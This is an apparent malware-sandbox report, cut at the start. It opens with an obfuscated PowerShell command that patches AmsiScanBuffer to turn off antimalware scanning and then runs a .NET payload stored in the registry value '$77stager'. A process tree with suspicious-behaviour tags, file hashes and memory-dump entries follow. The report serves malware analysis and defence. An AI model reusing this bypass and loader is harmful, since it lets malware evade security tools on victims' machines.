@([String])([IntPtr]);$GcWchZLdclrHmukBGqHXRH=fcPxEybymrDc @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$MtAniNxtgFL=$SbVlXTTsEHJfE.GetMethod('G'+[Char](101)+''+'t'+'Mo'+'d'+''+[Char](117)+'le'+'H'+''+[Char](97)+'n'+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+'n'+'e'+[Char](108)+''+'3'+''+'2'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$xMCbWYMaiiWizZ=$vOllycWJtPjugG.Invoke($Null,@([Object]$MtAniNxtgFL,[Object]('L'+'o'+''+[Char](97)+''+'d'+'L'+[Char](105)+''+'b'+'r'+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$OmnsVWaiYHdBwIMHY=$vOllycWJtPjugG.Invoke($Null,@([Object]$MtAniNxtgFL,[Object](''+[Char](86)+'ir'+'t'+''+'u'+''+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+'c'+[Char](116)+'')));$vAIOiMs=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xMCbWYMaiiWizZ,$AdgEUAMYwMNvRMkmMTx).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+''+'l'+'l');$YMFHLGHHCAyDFBvGB=$vOllycWJtPjugG.Invoke($Null,@([Object]$vAIOiMs,[Object]('Am'+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$HSENqcwAhy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OmnsVWaiYHdBwIMHY,$GcWchZLdclrHmukBGqHXRH).Invoke($YMFHLGHHCAyDFBvGB,[uint32]8,4,[ref]$HSENqcwAhy);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$YMFHLGHHCAyDFBvGB,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OmnsVWaiYHdBwIMHY,$GcWchZLdclrHmukBGqHXRH).Invoke($YMFHLGHHCAyDFBvGB,[uint32]8,0x20,[ref]$HSENqcwAhy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+'T'+[Char](87)+'A'+[Char](82)+'E').GetValue(''+[Char](36)+''+[Char](55)+''+'7'+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\zvgfd-main\Install.exe"C:\Users\Admin\AppData\Local\Temp\zvgfd-main\Install.exe"2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Windows\Temp\__PSScriptPolicyTest_bjojyd40.y5g.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/384-77-0x0000019DCB160000-0x0000019DCB18C000-memory.dmpFilesize
176KB
-
memory/384-85-0x0000019DCB160000-0x0000019DCB18C000-memory.dmpFilesize
176KB
-
memory/588-33-0x00000286B63B0000-0x00000286B63D6000-memory.dmpFilesize
152KB
-
memory/588-34-0x00000286B63E0000-0x00000286B640C000-memory.dmpFilesize
176KB
-
memory/588-35-0x00000286B63E0000-0x00000286B640C000-memory.dmpFilesize
176KB
-
memory/588-44-0x00007FF942AB0000-0x00007FF942AC0000-memory.dmpFilesize
64KB
-
memory/588-47-0x00007FF982ACD000-0x00007FF982ACE000-memory.dmpFilesize
4KB
-
memory/588-43-0x00000286B63E0000-0x00000286B640C000-memory.dmpFilesize
176KB
-
memory/676-49-0x000001EB278D0000-0x000001EB278FC000-memory.dmpFilesize
176KB
-
memory/676-73-0x00007FF982ACF000-0x00007FF982AD0000-memory.dmpFilesize
4KB
-
memory/676-57-0x000001EB278D0000-0x000001EB278FC000-memory.dmpFilesize
176KB
-
memory/676-58-0x00007FF942AB0000-0x00007FF942AC0000-memory.dmpFilesize
64KB
-
memory/744-101-0x000001A351A60000-0x000001A351A86000-memory.dmpFilesize
152KB
-
memory/744-712-0x000001A351A60000-0x000001A351A86000-memory.dmpFilesize
152KB
-
memory/960-62-0x0000024997640000-0x000002499766C000-memory.dmpFilesize
176KB
-
memory/960-70-0x0000024997640000-0x000002499766C000-memory.dmpFilesize
176KB
-
memory/960-71-0x00007FF942AB0000-0x00007FF942AC0000-memory.dmpFilesize
64KB
-
memory/960-74-0x00007FF982ACC000-0x00007FF982ACD000-memory.dmpFilesize
4KB
-
memory/1464-22-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/1464-20-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/1464-19-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/1464-27-0x00007FF982A30000-0x00007FF982C25000-memory.dmpFilesize
2.0MB
-
memory/1464-28-0x00007FF981D80000-0x00007FF981E3E000-memory.dmpFilesize
760KB
-
memory/1464-30-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/1464-24-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/1464-18-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/4920-17-0x00007FF981D80000-0x00007FF981E3E000-memory.dmpFilesize
760KB
-
memory/4920-29-0x00007FF964730000-0x00007FF9651F1000-memory.dmpFilesize
10.8MB
-
memory/4920-0-0x00007FF964733000-0x00007FF964735000-memory.dmpFilesize
8KB
-
memory/4920-16-0x00007FF982A30000-0x00007FF982C25000-memory.dmpFilesize
2.0MB
-
memory/4920-15-0x000002A26B8C0000-0x000002A26B8EA000-memory.dmpFilesize
168KB
-
memory/4920-14-0x00007FF964730000-0x00007FF9651F1000-memory.dmpFilesize
10.8MB
-
memory/4920-13-0x00007FF964730000-0x00007FF9651F1000-memory.dmpFilesize
10.8MB
-
memory/4920-12-0x00007FF964730000-0x00007FF9651F1000-memory.dmpFilesize
10.8MB
-
memory/4920-2-0x000002A26B750000-0x000002A26B772000-memory.dmpFilesize
136KB
-
memory/4920-1-0x00007FF964730000-0x00007FF9651F1000-memory.dmpFilesize
10.8MB